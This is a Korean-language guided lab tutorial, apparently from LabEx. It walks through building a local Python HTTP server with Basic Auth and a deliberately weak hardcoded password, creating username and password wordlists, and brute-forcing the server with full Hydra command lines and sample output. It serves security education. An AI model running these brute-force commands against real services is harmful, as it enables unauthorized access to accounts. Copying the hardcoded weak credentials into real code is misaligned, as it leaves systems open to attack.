Hydra 로 HTTP 서비스 공격

HydraBeginner
지금 연습하기

소개

이 랩에서는 다재다능한 비밀번호 크래킹 도구인 Hydra 를 사용하여 HTTP 서비스에 대한 무차별 대입 공격을 수행하는 방법을 배우게 됩니다. 기본적인 인증을 갖춘 Python HTTP 서버를 설정하고 체계적인 자격 증명 공격을 통해 보안을 테스트하는 방법을 살펴봅니다.

이 실습에서는 워드 리스트 생성, Hydra 매개변수 구성, 공격 결과 분석을 통해 인증 취약점을 식별하는 방법을 다룹니다. 이 실용적인 세션은 무차별 대입 시도에 대한 웹 서비스 보안을 평가하는 데 필요한 기술을 보여줍니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 중급 레벨의 실험이며 완료율은 77%입니다.학습자들로부터 97%의 긍정적인 리뷰율을 받았습니다.

로컬 HTTP 서버 설치

이 단계에서는 Python 의 내장 모듈을 사용하여 로컬 HTTP 서버를 설치합니다. 이 서버는 기본적인 인증을 갖춘 실제 웹 서버를 시뮬레이션하며, 나중에 Hydra 무차별 대입 공격의 대상으로 사용할 것입니다. 웹 서버의 작동 방식을 이해하는 것은 보안을 테스트하기 전에 필수적입니다.

Python 의 http.server 모듈은 테스트 목적으로 기본적인 웹 서버를 빠르게 생성하는 방법을 제공합니다. 프로덕션 환경에는 적합하지 않지만, 복잡한 설정 없이 HTTP 프로토콜의 기본 사항을 보여주므로 랩 환경에 완벽합니다. 서버는 기본적으로 포트 8000 에서 실행됩니다.

  1. 먼저, 프로젝트 디렉토리로 이동합니다. 이렇게 하면 모든 파일이 한 곳에 정리됩니다.
cd ~/project
  1. 웹 서버 파일을 위한 전용 디렉토리를 생성합니다. 웹 콘텐츠를 별도로 유지하면 구성을 유지하는 데 도움이 됩니다.
mkdir http_server
cd http_server
  1. 간단한 홈페이지를 생성합니다. 이 HTML 파일은 누군가 웹 서버에 접속할 때 제공됩니다.
echo "<h1>Welcome to LabEx HTTP Server</h1>" > index.html
  1. Python HTTP 서버를 시작합니다. & 기호는 백그라운드에서 실행되므로 터미널을 계속 사용할 수 있습니다.
python3 -m http.server 8000 &

터미널을 계속 사용하려면 Enter 키를 누르세요.

  1. 서버가 실행 중인지 확인합니다. netstat 명령은 활성 네트워크 연결 및 수신 포트를 보여줍니다.
netstat -tulnp | grep 8000

Python 이 포트 8000 에서 수신 대기 중임을 확인하는 출력을 볼 수 있습니다.

tcp    0    0 0.0.0.0:8000    0.0.0.0:*    LISTEN    1234/python3
  1. 서버 기능을 테스트합니다. curl 명령은 웹 페이지를 검색하여 모든 것이 작동하는지 확인합니다.
curl http://localhost:8000

생성한 HTML 콘텐츠를 받으면 서버가 작동하고 있음을 증명합니다.

<h1>Welcome to LabEx HTTP Server</h1>
Check the server

기본 웹 서버가 실행 중이므로 다음 단계에서 인증을 구현할 준비가 되었습니다. Hydra 가 기본 인증을 사용하는 실제 웹 서버와 정확히 동일하게 이 서버와 상호 작용하므로 이 기반은 매우 중요합니다.

HTTP 서버 기본 인증 설정

이 단계에서는 이전에 설치한 HTTP 서버에 대한 기본 인증을 구성합니다. 기본 인증은 클라이언트가 각 요청과 함께 사용자 이름과 비밀번호를 전송하는 간단한 방법입니다. 이는 나중에 Hydra 를 사용하여 무차별 대입을 시도하여 테스트할 보안 계층을 생성합니다. 이는 약한 비밀번호가 위험한 이유를 보여줍니다.

  1. 먼저, 보호된 웹 서버를 설정할 올바른 디렉토리에 있는지 확인합니다.
cd ~/project/http_server
  1. htpasswd 유틸리티를 사용하여 비밀번호 파일을 생성합니다. 이 도구는 apache2-utils 패키지 (LabEx VM 에 이미 설치됨) 와 함께 제공되며 기본 인증을 위한 비밀번호 파일 관리에 도움이 됩니다.
htpasswd -c .htpasswd admin

메시지가 표시되면 비밀번호로 password123을 입력합니다. 여기서는 간단한 비밀번호가 얼마나 쉽게 크래킹될 수 있는지 보여주기 위해 의도적으로 약한 비밀번호를 사용하고 있습니다.

  1. 이제 기본 인증으로 HTTP 콘텐츠를 제공하는 Python 스크립트를 생성합니다. 이 스크립트는 액세스를 허용하기 전에 자격 증명을 확인합니다.
nano auth_server.py
  1. 다음 Python 코드를 붙여넣습니다. 이는 다음과 같은 사용자 지정 HTTP 서버를 생성합니다.
    • 기본 인증 필요
    • .htpasswd 파일에 대해 자격 증명 유효성 검사
    • 인증 성공 후에만 콘텐츠 제공
from http.server import HTTPServer, BaseHTTPRequestHandler
import base64

class AuthHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        auth_header = self.headers.get('Authorization')
        if not auth_header or not auth_header.startswith('Basic '):
            self.send_response(401)
            self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            self.wfile.write(b'Authentication required')
            return

        auth_decoded = base64.b64decode(auth_header[6:]).decode('utf-8')
        username, password = auth_decoded.split(':', 1)

        if username == 'admin' and password == 'password123':
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            with open('index.html', 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(401)
            self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
            self.end_headers()
            self.wfile.write(b'Authentication failed')

if __name__ == '__main__':
    server_address = ('', 8000)
    httpd = HTTPServer(server_address, AuthHandler)
    print("Server running on port 8000...")
    httpd.serve_forever()
  1. 파일을 저장하고 (nano 에서 Ctrl+O, Enter, Ctrl+X) 이전 HTTP 서버 (인증이 없는 서버) 를 중지합니다.
pkill -f "python3 -m http.server"
  1. 새 인증된 HTTP 서버를 백그라운드에서 시작합니다.
python3 auth_server.py &
  1. 자격 증명 없이 서버에 액세스하여 인증을 테스트해 보겠습니다.
curl -v http://localhost:8000

401 Unauthorized 응답을 받아야 합니다. 이는 인증이 작동하고 있음을 의미합니다.

  1. 이제 이전에 설정한 올바른 자격 증명으로 액세스를 시도합니다.
curl -v -u admin:password123 http://localhost:8000
Check the authentication

이제 index.html 파일의 HTML 콘텐츠를 볼 수 있어야 합니다. 이는 인증이 올바르게 작동함을 증명합니다.

이제 서버는 기본 인증으로 제대로 보호되었으며 다음 단계에서 무차별 대입 공격 시연을 할 준비가 되었습니다. 이 설정은 웹 서버가 기본 인증을 사용하는 실제 시나리오를 모방하여 작동 방식과 잠재적인 취약점을 모두 보여줍니다.

사용자 이름 및 비밀번호 목록 준비

이 단계에서는 Hydra 가 HTTP 기본 인증에 대해 가능한 사용자 이름과 비밀번호 조합을 테스트하는 데 사용할 단어 목록을 생성합니다. 이러한 목록은 무작위로 추측하는 대신 일반적인 자격 증명을 체계적으로 시도하는 사전 공격의 기반을 형성합니다.

  1. 먼저, 프로젝트 디렉토리로 이동합니다. 이렇게 하면 모든 파일이 한 곳에 정리됩니다.
cd ~/project
  1. 단어 목록을 위한 전용 디렉토리를 생성합니다. 별도로 유지하면 관리하기가 더 쉬워집니다.
mkdir wordlists
cd wordlists
  1. 간단한 텍스트 편집기인 nano 를 사용하여 사용자 이름 목록 파일을 생성합니다. 기본값으로 자주 사용되는 일반적인 관리자 사용자 이름으로 채웁니다.
nano usernames.txt

다음 일반적인 사용자 이름을 추가합니다 (줄당 하나씩).

admin
root
user
test
guest
administrator
  1. 마찬가지로 비밀번호 목록 파일을 생성합니다. 이는 일반적으로 사용되거나 추측하기 쉬운 비밀번호입니다.
nano passwords.txt

다음 일반적인 비밀번호를 추가합니다 (줄당 하나씩).

password123
password
123456
admin
letmein
qwerty
  1. 파일의 내용을 확인하여 올바르게 생성되었는지 확인합니다. cat 명령은 터미널에 파일 내용을 표시합니다.
cat usernames.txt
cat passwords.txt
  1. (선택 사항) 단어 목록 생성기인 crunch 를 사용하여 추가 비밀번호를 생성합니다. 이 명령은 최대 100 개의 4 자리 숫자 조합을 생성하며, 간단한 숫자 비밀번호를 테스트하는 데 유용합니다.
crunch 4 4 0123456789 | head -n 100 > numbers.txt
  1. 비밀번호 목록을 단일 파일로 결합합니다. 이렇게 하면 Hydra 가 공격 중에 테스트할 수 있는 더 많은 변형을 제공합니다.
cat passwords.txt numbers.txt > combined_passwords.txt
  1. 결합된 비밀번호 목록을 확인합니다. head 명령은 처음 10 줄만 표시하여 병합이 제대로 작동했는지 빠르게 확인할 수 있습니다.
head combined_passwords.txt

다음과 같은 출력을 볼 수 있습니다.

password123
password
123456
admin
letmein
qwerty
0000
0001
0002
0003

이 단어 목록에는 이전에 구성한 올바른 자격 증명 (admin/password123) 과 많은 잘못된 조합이 모두 포함되어 있습니다. 이 설정은 공격자가 가능한 수많은 자격 증명을 시도하여 로그인을 무차별 대입하려는 방식을 현실적으로 시뮬레이션합니다. 다음 단계에서는 Hydra 를 사용하여 이러한 조합을 HTTP 서버에 대해 테스트하는 것을 자동화합니다.

HTTP 서비스에 대한 Hydra 공격 실행

이 단계에서는 Hydra 를 사용하여 이전에 구성한 HTTP 기본 인증 서비스에 대해 무차별 대입 공격을 수행합니다. Hydra 는 단어 목록에서 모든 사용자 이름/비밀번호 조합을 체계적으로 시도하여 유효한 자격 증명을 찾는 강력한 비밀번호 크래킹 도구입니다. 이는 약한 비밀번호가 자동화된 공격에 취약한 이유를 보여줍니다.

  1. 먼저, HTTP 서버가 여전히 실행 중인지 확인합니다. 이 명령은 서버 프로세스가 있는지 확인하고 필요한 경우 다시 시작합니다.
pgrep -fa "python3 auth_server.py" || cd ~/project/http_server && python3 auth_server.py &
  1. 사용자 이름 및 비밀번호 파일을 저장한 단어 목록 디렉토리로 이동합니다. 이러한 파일에는 Hydra 가 테스트할 조합이 포함되어 있습니다.
cd ~/project/wordlists
  1. 이 명령을 사용하여 HTTP 서비스를 공격하기 위해 Hydra 를 실행합니다. -L 플래그는 사용자 이름 목록을 지정하고, -P는 비밀번호 목록을 지정하며, http-get /는 기본 HTTP GET 요청을 공격하고 있음을 나타냅니다.
hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /
  1. Hydra 가 조합을 시도하는 동안 Hydra 의 출력을 관찰합니다. 성공하면 어떤 자격 증명이 작동했는지 보여주는 출력이 표시됩니다.
[DATA] attacking http-get://localhost:8000/
[8000][http-get] host: localhost   login: admin   password: password123
1 of 1 target successfully completed, 1 valid password found
  1. Hydra 가 수행하는 각 시도를 포함하여 더 자세한 출력을 보려면 -v (verbose) 플래그를 추가합니다.
hydra -v -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /
  1. (선택 사항) 나중에 분석할 수 있도록 결과를 파일에 저장합니다. -o 플래그는 출력 파일을 지정합니다.
hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get / -o hydra_results.txt
  1. 저장된 결과 파일을 확인하여 성공적인 자격 증명을 확인합니다.
cat hydra_results.txt

공격은 이전에 설정한 자격 증명 (admin/password123) 을 성공적으로 찾아야 합니다. 이는 자동화된 무차별 대입 공격을 통해 약한 자격 증명을 얼마나 빨리 발견할 수 있는지 보여주며, 강력한 비밀번호의 중요성을 강조합니다.

요약

이 랩에서는 Python 을 사용하여 로컬 HTTP 서버를 설정하고 보안 테스트 목적으로 기본 인증을 구현하는 방법을 배웠습니다. 이 프로세스에는 웹 디렉토리 생성, htpasswd 를 사용한 인증 구성, curl 과 같은 일반적인 도구를 사용하여 서버 기능 확인이 포함되었습니다.

또한, 자격 증명 목록을 준비하고 Hydra 를 사용하여 HTTP 서비스에 대한 무차별 대입 공격을 실행하는 실질적인 경험을 얻었습니다. 이 연습은 강력한 비밀번호의 중요성과 약한 자격 증명을 사용할 때 기본 인증 메커니즘의 취약성을 보여주었습니다.